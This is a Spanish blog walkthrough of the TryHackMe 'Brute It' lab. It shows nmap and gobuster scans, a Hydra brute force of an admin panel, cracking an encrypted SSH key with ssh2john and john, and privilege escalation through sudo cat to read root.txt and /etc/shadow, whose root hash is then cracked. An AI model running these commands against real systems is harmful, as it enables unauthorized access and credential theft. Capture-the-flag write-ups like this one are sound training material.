This page looks best with JavaScript enabled

TryHackMe - Brute It

 •  ✍️ sckull

Brute It es una maquina de TryHackMe, fuerza bruta y ssh2john nos dio aceso a la maquina. Utilizando GTFOBins y cat obtuvimos nuestra flag root.txt y escalamos privilegios.

Room

Titulo Brute It box_img_maker
Descripción Learn how to brute, hash cracking and escalate privileges in this box!
Puntos 730
Dificultad Facil
Maker

ReddyyZ

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto ssh (22) y el puerto http (80) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Nmap 7.80 scan initiated Wed Dec  9 19:56:37 2020 as: nmap -p- --min-rate 1000 -o allPorts brute.thm
Nmap scan report for brute.thm (10.10.192.18)
Host is up (0.36s latency).
Not shown: 64739 closed ports, 794 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Wed Dec  9 19:59:02 2020 -- 1 IP address (1 host up) scanned in 146.01 seconds
# Nmap 7.80 scan initiated Wed Dec  9 19:59:55 2020 as: nmap -p 22,80 -sV -sC -o servicePorts brute.thm
Nmap scan report for brute.thm (10.10.192.18)
Host is up (0.36s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:0e:bf:14:fa:54:b3:5c:44:15:ed:b2:5d:a0:ac:8f (RSA)
|   256 d0:3a:81:55:13:5e:87:0c:e8:52:1e:cf:44:e0:3a:54 (ECDSA)
|_  256 da:ce:79:e0:45:eb:17:25:ef:62:ac:98:f0:cf:bb:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec  9 20:00:15 2020 -- 1 IP address (1 host up) scanned in 19.99 seconds

HTTP

Encontramos la pagina web de apache en el puerto 80.
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

1
2
3
4
5
kali@kali:~/thm/bruteit$ gobuster dir -u http://brute.thm/ -w /usr/share/wordlists/dirb/common.txt -q -t 15 -x php,html,txt 
/admin (Status: 301)
/index.html (Status: 200)
/index.html (Status: 200)
/server-status (Status: 403)

Encontramos un panel de logeo, en el codigo fuente encontramos dos posibles nombres de usuario.
image

1
2
3
4
5
    </div>

    <!-- Hey john, if you do not remember, the username is admin -->
</body>
</html>

HYDRA

Utilizamos hydra con el usuario admin y el wordlist rockyou.txt para lograr encontrar la contraseña para este usuario.
image

Ingresamos con las credenciales en el panel y logramos ver el contenido: la primera flag y una clave privada RSA encriptada.
image

image

SSH2JOHN

Utilizamos ssh2john para obtener el hash y obtener con john la frase en texto plano de la clave privada.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
kali@kali:~/thm/bruteit$ /usr/share/john/ssh2john.py rsa_encripted > rsa_hash
kali@kali:~/thm/bruteit$ john --wordlist=/usr/share/wordlists/rockyou.txt rsa_hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
r[ ... snip ... ]l       (rsa_encripted)
1g 0:00:00:04 DONE (2020-12-09 20:16) 0.2096g/s 3006Kp/s 3006Kc/s 3006KC/sa6_123..*7¡Vamos!
Session completed
kali@kali:~/thm/bruteit$

JOHN - USER

Utilizando la clave privada y la frase con el usuario en el servicio SSH logramos obtener una shell y nuestra flag user.txt.

1
2
kali@kali:~/thm/bruteit$ chmod 600 rsa_encripted
kali@kali:~/thm/bruteit$ ssh john@brute.thm -i rsa_encripted

image

PRIVILEGE ESCALATION

Realizamos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos “root” para ejecutar el comando cat. Utilizamos este comando para obtener la flag root.txt.

GFOBins - cat

1
FLAG=/root/root.txt; sudo cat "$FLAG"

image

Utilizamos cat para leer el contenido de /etc/shadow para obtener el hash del usuario root y con john poder obtener la contraseña en texto plano y poder obtener una shell con este usuario.

1
2
3
4
5
6
john@bruteit:~$ FLAG=/etc/shadow; sudo cat "$FLAG"
root:$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xD[ ... snip ... ]1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.:18490:0:99999:7:::
daemon:*:18295:0:99999:7:::
bin:*:18295:0:99999:7:::
[ ... snip ... ]
john@bruteit:~$
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
kali@kali:~/thm/bruteit$ john --wordlist=/usr/share/wordlists/rockyou.txt root_hash 
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
f[ ... snip ... ]l         (root)
1g 0:00:00:00 DONE (2020-12-09 20:23) 12.50g/s 3200p/s 3200c/s 3200C/s 123456..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed
kali@kali:~/thm/bruteit$

Shell con usuario root.
image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe